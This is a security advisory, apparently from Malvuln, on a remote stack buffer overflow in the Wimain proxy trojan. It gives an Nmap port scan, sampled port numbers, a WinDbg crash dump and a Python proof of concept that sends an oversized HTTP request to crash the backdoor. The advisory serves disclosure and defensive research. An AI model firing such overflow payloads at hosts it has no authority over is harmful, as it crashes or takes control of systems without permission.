Trojan-Proxy.Win32.Wimain malware suffers from a buffer overflow vulnerability.
472a6333873b8c59bcc55b03c7c7a2d7
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8936c97e99799809812fa740076a2d7f.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Trojan-Proxy.Win32.Wimain
Vulnerability: Remote Stack Buffer Overflow
Description: Win32.Wimain trojan listens on two random TCP ports only one of the two ports seems vuln. Sending a specially crafted HTTP request will trigger classic stack buffer overflow overwriting ECX, EBP and EIP registers. The challenge is the malware changes it port on each restart. However, after repeated sampling of the ports opened there seems to be a specific range the ports fall within. Also, another giveaway is there should be two of them listening in that range. This can help us to somewhat fingerprint the backdoor presence, we can then scan that port range to try an locate. Wimains port range seem to typically fall within 1000 - 4999 range. If we know our network and or have a good baseline, we can leverage Nmap to probe for the suspect ports. Afterwards, we can then issue specially crafted payload to crash or exploit the buffer overflow vulenrability.
C:\>nmap -n -Pn -sS -p999-4999 -T4 192.168.1.10 -open
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-14 15:46 Pacific Daylight Time
Nmap scan report for 192.168.1.10
Host is up (0.00s latency).
Not shown: 3999 closed ports
PORT STATE SERVICE
1258/tcp open opennl
3179/tcp open h2gf-w-2m
Sampling of some TCP ports used by the Wimain malware:
1433
3700
4192
1257
4363
4850
3178
2668
2571
3910
2028
2113
4897
1923
1986
1761
4423
2125
2074
2332
4216
2125
2074
2300
3495
2001
3221
4453
2990
1312
1876
1312
2278
1839
1878
4423
1750
2770
2809
2888
2848
1129
3013
4897
3083
3524
2714
3645
4999
2300
4184
1718
3724
3656
4570
4729
3448
4768
3034
1150
1703
3380
1143
4349
2258
1260
3935
4696
2397
1574
1613
3159
4184
1718
3724
3656
4570
4729
3448
4768
3034
1150
1703
3380
1143
4349
2258
1260
3935
4696
2397
1574
1613
3159
1029
2126
1767
1378
1456
4488
1068
2165
1447
4886
1727
2243
2207
4091
3884
1793
2479
Type: PE32
MD5: 8936c97e99799809812fa740076a2d7f
Vuln ID: MVID-2021-0131
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 03/14/2021
Memory Dump:
(b08.1118): Stack buffer overflow - code c0000409 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=00000001 esi=00000000 edi=00000002
eip=7710ed3c esp=0019f400 ebp=0019f440 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400 ret 14h
0:000> .ecxr
eax=00000001 ebx=00000000 ecx=41414141 edx=00000001 esi=00a3044c edi=03144c15
eip=41414141 esp=0019fab4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Trojan-Proxy.Win32.Wimain.8936c97e99799809812fa740076a2d7f.exe
*** ERROR: Module load completed but symbols could not be loaded for Trojan-Proxy.Win32.Wimain.8936c97e99799809812fa740076a2d7f.exe
FAULTING_IP:
+24
41414141 ?? ???
EXCEPTION_RECORD: 0019f604 -- (.exr 0x19f604)
ExceptionAddress: 41414141
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000008
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141
PROCESS_NAME: Trojan-Proxy.Win32.Wimain.8936c97e99799809812fa740076a2d7f.exe
ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.
EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.
EXCEPTION_PARAMETER1: 00000015
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAILED_INSTRUCTION_ADDRESS:
+24
41414141 ?? ???
CONTEXT: 0019f654 -- (.cxr 0x19f654)
eax=00000001 ebx=00000000 ecx=41414141 edx=00000001 esi=00a3044c edi=03144c15
eip=41414141 esp=0019fab4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
Resetting default scope
READ_ADDRESS: 41414141
FOLLOWUP_IP:
+24
41414141 ?? ???
IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
FRAME_ONE_INVALID: 1
LAST_CONTROL_TRANSFER: from 41414141 to 41414141
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141
STACK_TEXT:
00000000 00000000 unknown!printable+0x0
SYMBOL_NAME: unknown!printable
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: unknown
IMAGE_NAME: unknown
DEBUG_FLR_IMAGE_TIMESTAMP: 0
STACK_COMMAND: ** Pseudo Context ** ; kb
FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141_c0000409_unknown!Unloaded
BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_FILL_PATTERN_41414141_MISSING_GSFRAME_BAD_IP_unknown!printable
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
#Use Nmap to locate port, there should be two TCP ports opened within the 1000-4999 range.
PORT= [RANGE-1000-4999]
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="GET /" + "A"*1432 + "HTTP/1.1\r\nHost: "+ "A"*1562
s.send(PAYLOAD)
s.close()
print("Trojan-Proxy.Win32.Wimain / Remote Stack Buffer Overflow")
print("MD5: 8936c97e99799809812fa740076a2d7f")
print("BY Malvuln")
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).